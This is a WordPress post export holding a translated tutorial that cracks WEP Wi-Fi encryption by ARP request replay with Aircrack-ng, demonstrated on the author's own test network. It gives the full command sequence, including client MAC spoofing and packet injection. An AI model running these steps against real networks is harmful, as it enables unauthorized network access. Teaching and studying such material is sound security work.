{"id":20,"date":"2026-12-03T17:28:26","date_gmt":"2026-12-03T17:28:26","guid":{"rendered":"http:\/\/localhost\/tuts.ro\/2026\/12\/03\/wep-wifi-arp-request-replay\/"},"modified":"2026-12-05T13:39:31","modified_gmt":"2026-12-05T13:39:31","slug":"wep-wifi-arp-request-replay","status":"publish","type":"post","link":"https:\/\/tutsplus.ro\/en\/2026\/12\/03\/wep-wifi-arp-request-replay\/","title":{"rendered":"Why WEP Wireless Networks Are Insecure: ARP Request Replay"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><em>English translation of the original Romanian article, <a href=\"https:\/\/tutsplus.ro\/tutorial-wep-wifi\/\">\u201cInsecuritatea re\u021belelor wireless cu criptare WEP \u2014 Cum se poate sparge WEP-ul cu ARP Request Reply.\u201d<\/a> This historical demonstration used Gentoo Linux and Aircrack-ng 1.1 on a wireless networ I created for the test.<\/em><\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\"><strong>Historical note:<\/strong> WEP is obsolete and insecure. A failed attempt with a particular technique does not mean that router settings have made WEP secure; see <a href=\"https:\/\/www.cisco.com\/site\/us\/en\/learn\/topics\/networking\/what-is-wi-fi-security.html\">Cisco\u2019s explanation of Wi-Fi security<\/a>. The commands and screenshots below preserve the original workflow, interface names, addresses, and filenames. One typographic dash in <code>--bssid<\/code> has been normalized. Current tool versions and drivers may behave differently.<\/p>\n<\/blockquote>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" src=\"https:\/\/tutsplus.ro\/en\/wp-content\/uploads\/2026\/12\/wep-tutorial-wireless.avif\" width=\"90\" height=\"90\" alt=\"Original wireless tutorial illustration: a Wi-Fi symbol with a lightning bolt\" loading=\"lazy\" class=\"wp-image-15\"><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Although wireless networks protected with WEP encryption are no longer considered secure because of their vulnerabilities, breaking WEP is not always as straightforward as it might seem. There are several approaches to choose from.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Because of their weak security, these networks had already become less common than they were a few years earlier when I wrote the original article. Nevertheless, they could still be found even in larger cities, as well as in more out-of-the-way places where users were not keeping up with developments in IT security.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The original introduction also argued that increasingly sophisticated routers could still provide security with WEP when properly configured and administered, and that readers should not be surprised if they could not connect to a particular WEP network. That claim should be read alongside the historical correction above.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let us look at the method I considered the most effective and reliable at the time. For this tutorial, I use Gentoo Linux and several utilities introduced below.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Breaking WEP with ARP request replay<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">This method replays previously captured ARP requests.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">What you need<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>A wireless network adapter that supports packet injection. The original article identifies the adapter used as \u201cBroadCom WiFi Link 5100.\u201d Depending on the adapter and driver, packet injection may require a driver patch. The hardware name is retained as it appeared in the source.<\/li>\n\n\n\n<li>The Aircrack-ng suite, including <code>aircrack-ng<\/code>, <code>airodump-ng<\/code>, and <code>aireplay-ng<\/code>. At the time, I recommended downloading the latest version and compiling it locally because distribution packages were often behind. This demonstration uses version 1.1.<\/li>\n\n\n\n<li>A WEP-encrypted wireless network within range. If it is too far away, you may be able to recover the WEP key but still fail to connect. A router may be able to transmit farther than the wireless adapter can transmit back.<\/li>\n\n\n\n<li>Another client already connected to that network.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">The theory<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">How does this attack work? The original article compared it loosely with ARP poisoning. More precisely, it is an <a href=\"https:\/\/www.aircrack-ng.org\/doku.php?id=simple_wep_crack\">ARP replay technique<\/a>: previously captured packets are retransmitted to generate additional encrypted traffic and initialization vectors, rather than altering ARP cache entries.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">First, place the wireless adapter in monitor mode so that it can capture and inject packets. Scan the wireless networks, then note the BSSID of the network being tested and the MAC address of a client connected to it.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Capture packets exchanged between that client and the AP, or access point. After capturing some packets, stop that capture and use the recorded packets for injection.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">What does injection mean here? The captured packets are sent back to the AP using the client\u2019s source address. This generates ARP traffic, causing the router to produce more IVs\u2014initialization vectors\u2014which are needed to recover the WEP key.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Save the ARP traffic and continue monitoring until enough data has been collected. Stopping the capture leaves a file with the <code>.cap<\/code> extension. Aircrack-ng can then attempt to recover the WEP key, provided enough useful traffic was captured between the client and the AP.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Once the key is recovered, it may be possible to connect to the AP, obtain internet access, or join the wireless network and discover computers connected to the router. For this particular demonstration, traffic from at least one client already connected to the AP is essential.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">The original demonstration, step by step<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">1. Start the wireless adapter in monitor mode<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>istvan@it $ airmon-ng stop wlan0\nistvan@it # airmon-ng start wlan0<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">2. Scan the wireless networks<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>istvan@it # airodump-ng wlan0<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/tutsplus.ro\/en\/wp-content\/uploads\/2026\/12\/wep-scanare-wireless.avif\"><img decoding=\"async\" src=\"https:\/\/tutsplus.ro\/en\/wp-content\/uploads\/2026\/12\/wep-scanare-wireless.avif\" width=\"530\" height=\"148\" alt=\"Original airodump-ng scan showing wireless access points and an associated client\" loading=\"lazy\" class=\"wp-image-16\" srcset=\"https:\/\/tutsplus.ro\/en\/wp-content\/uploads\/2026\/12\/wep-scanare-wireless.avif 530w, https:\/\/tutsplus.ro\/en\/wp-content\/uploads\/2026\/12\/wep-scanare-wireless-300x84.avif 300w\" sizes=\"auto, (max-width: 530px) 100vw, 530px\" \/><\/a><figcaption>The original wireless scan. Select the screenshot to view it at full size.<\/figcaption><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">3. Record the network and client identifiers<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Note the network\u2019s <strong>BSSID<\/strong>, its <strong>ESSID<\/strong>\u2014the network name\u2014and the <strong>MAC address<\/strong> of a client connected to the <strong>AP<\/strong>.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4. Capture and replay ARP traffic<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Capture packets exchanged between the connected client and the AP. The original description begins with capturing an ARP reply, then sending copies of a captured ARP packet and capturing the resulting traffic again.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>aireplay-ng -3 -b 1C:BD:B9:C1:BA:AE wlan0\naireplay-ng -3 -b 1C:BD:B9:C1:BA:AE -h 00:18:DE:6F:65:16 -r replay_arp-0602-133453.cap wlan0<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>-3<\/code>: standard ARP-request replay.<\/li>\n\n\n\n<li><code>-b<\/code>: the access point\u2019s BSSID, or MAC address.<\/li>\n\n\n\n<li><code>-h<\/code>: the source MAC address; the original demonstration uses the connected client\u2019s address.<\/li>\n\n\n\n<li><code>-r<\/code>: read packets from a capture file.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">5. Stop this capture after about a minute<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Press <strong>Ctrl+C<\/strong>.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">6. Send the captured packets to the AP<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Specify the source MAC address of the connected client. The original command and terminal message were:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>istvan@it # aireplay-ng -2 -h 00:18:DE:6F:65:16 -r replay_arp-0602-133453.cap wlan0\nThe interface MAC (00:16:EA:56:72:A4) doesn't match the specified MAC (-h).\nifconfig wlan0 hw ether 00:18:DE:6F:65:16<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/tutsplus.ro\/en\/wp-content\/uploads\/2026\/12\/wep-tutorial-wep.avif\"><img decoding=\"async\" src=\"https:\/\/tutsplus.ro\/en\/wp-content\/uploads\/2026\/12\/wep-tutorial-wep.avif\" width=\"550\" height=\"202\" alt=\"Original aireplay-ng packet selection showing the access point, source MAC, packet bytes, and confirmation prompt\" loading=\"lazy\" class=\"wp-image-17\" srcset=\"https:\/\/tutsplus.ro\/en\/wp-content\/uploads\/2026\/12\/wep-tutorial-wep.avif 550w, https:\/\/tutsplus.ro\/en\/wp-content\/uploads\/2026\/12\/wep-tutorial-wep-300x110.avif 300w\" sizes=\"auto, (max-width: 550px) 100vw, 550px\" \/><\/a><figcaption>Interactive packet selection in the original demonstration. Select the screenshot to view it at full size.<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Type <strong>Y<\/strong> to select the packet and send it to the AP. Leave this terminal open until the demonstration is almost finished.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><code>-2<\/code> selects interactive frame selection.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">7. Open another terminal to collect ARP requests<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Run the following command. The output shown is the excerpt from the original article:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>istvan@it # aireplay-ng -3 -b 1C:BD:B9:C1:BA:AE wlan0\nNo source MAC (-h) specified. Using the device MAC (00:16:EA:56:72:A4)\n15:46:14 Waiting for beacon frame (BSSID: 1C:BD:B9:C1:BA:AE) on channel 11\nSaving ARP requests in replay_arp-0602-154614.cap\nYou should also start airodump-ng to capture replies.\n^Cad 64 packets (got 0 ARP requests and 0 ACKs), sent 0 packets\u2026(0 pps)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Leave this terminal open while waiting for ARP traffic.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">8. Open another terminal and capture the ARP replies<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>istvan@it $ airodump-ng -w wep -c 11 --bssid 1C:BD:B9:C1:BA:AE wlan0<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/tutsplus.ro\/en\/wp-content\/uploads\/2026\/12\/wep-wep-scan.avif\"><img decoding=\"async\" src=\"https:\/\/tutsplus.ro\/en\/wp-content\/uploads\/2026\/12\/wep-wep-scan.avif\" width=\"550\" height=\"85\" alt=\"Original airodump-ng capture on channel 11 with the WEP network&apos;s data counter\" loading=\"lazy\" class=\"wp-image-18\" srcset=\"https:\/\/tutsplus.ro\/en\/wp-content\/uploads\/2026\/12\/wep-wep-scan.avif 550w, https:\/\/tutsplus.ro\/en\/wp-content\/uploads\/2026\/12\/wep-wep-scan-300x46.avif 300w\" sizes=\"auto, (max-width: 550px) 100vw, 550px\" \/><\/a><figcaption>Capturing traffic for the test access point. Select the screenshot to view it at full size.<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">In the original procedure, I waited until <strong>#Data<\/strong> reached at least <strong>50,000<\/strong>. Collecting more useful packets generally improves the chances of recovery because the capture contains more IVs for Aircrack-ng to analyze. For this demonstration, I reported waiting until I had captured <strong>160,000 packets<\/strong>.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">9. Stop airodump-ng and locate the capture file<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Press <strong>Ctrl+C<\/strong> in the airodump-ng terminal. The directory from which it was started now contains a capture file named <strong><code>wep-01.cap<\/code><\/strong>.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">10. Recover the WEP key with aircrack-ng<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>istvan@it # aircrack-ng wep-01.cap<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The result in the original demonstration looked like this:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/tutsplus.ro\/en\/wp-content\/uploads\/2026\/12\/wep-tutoriale-wep.avif\"><img decoding=\"async\" src=\"https:\/\/tutsplus.ro\/en\/wp-content\/uploads\/2026\/12\/wep-tutoriale-wep.avif\" width=\"560\" height=\"425\" alt=\"Original Aircrack-ng 1.1 result showing KEY FOUND and the ASCII test key istva\" loading=\"lazy\" class=\"wp-image-19\" srcset=\"https:\/\/tutsplus.ro\/en\/wp-content\/uploads\/2026\/12\/wep-tutoriale-wep.avif 560w, https:\/\/tutsplus.ro\/en\/wp-content\/uploads\/2026\/12\/wep-tutoriale-wep-300x228.avif 300w\" sizes=\"auto, (max-width: 560px) 100vw, 560px\" \/><\/a><figcaption>The WEP key recovered from the author\u2019s demonstration network. Select the screenshot to view it at full size.<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">As shown in the screenshot, the WEP key was recovered. Its <strong>ASCII<\/strong> representation is <strong><code>istva<\/code><\/strong>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>I created this network specifically for the demonstration. This tutorial does not encourage anyone to attack a neighbor\u2019s WEP network.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">There are other techniques for attacking wireless networks. In the original article, I said that I might demonstrate further scenarios in the future, including possible attacks against WPA\/WPA2 networks.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The article ended by arguing that these risks explained why large, security-conscious companies kept important networks disconnected from the internet and did not provide wireless access to their internal networks.<\/p>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\"><strong>Editorial clarification:<\/strong> That closing statement reflects the original article\u2019s broad conclusion, not a universal rule about enterprise networking. The demonstration establishes WEP\u2019s weakness; it does not establish that every wireless or internet-connected enterprise network is inherently insecure.<\/p>\n<\/blockquote>\n\n\n\n<h2 class=\"wp-block-heading\">Glossary<\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>ESSID \u2014 Extended Service Set Identifier:<\/strong> the wireless network name, usually written as ordinary text.<\/li>\n\n\n\n<li><strong>BSSID \u2014 Basic Service Set Identifier:<\/strong> the identifier for a basic service set, typically the MAC address associated with the access point\u2019s wireless interface.<\/li>\n\n\n\n<li><strong>AP \u2014 Access Point:<\/strong> the device providing wireless connectivity to clients; it may be integrated into a router or implemented by another suitably configured device.<\/li>\n\n\n\n<li><strong>IV \u2014 Initialization Vector:<\/strong> a value used as part of the encryption process. The plural is IVs.<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>An English translation of a Gentoo Linux and Aircrack-ng demonstration on the author\u2019s own WEP test network, with the original commands, screenshots, and a glossary.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-20","post","type-post","status-publish","format-standard","hentry","category-linux"],"_links":{"self":[{"href":"https:\/\/tutsplus.ro\/en\/wp-json\/wp\/v2\/posts\/20","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tutsplus.ro\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tutsplus.ro\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tutsplus.ro\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tutsplus.ro\/en\/wp-json\/wp\/v2\/comments?post=20"}],"version-history":[{"count":2,"href":"https:\/\/tutsplus.ro\/en\/wp-json\/wp\/v2\/posts\/20\/revisions"}],"predecessor-version":[{"id":48,"href":"https:\/\/tutsplus.ro\/en\/wp-json\/wp\/v2\/posts\/20\/revisions\/48"}],"wp:attachment":[{"href":"https:\/\/tutsplus.ro\/en\/wp-json\/wp\/v2\/media?parent=20"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tutsplus.ro\/en\/wp-json\/wp\/v2\/categories?post=20"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tutsplus.ro\/en\/wp-json\/wp\/v2\/tags?post=20"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}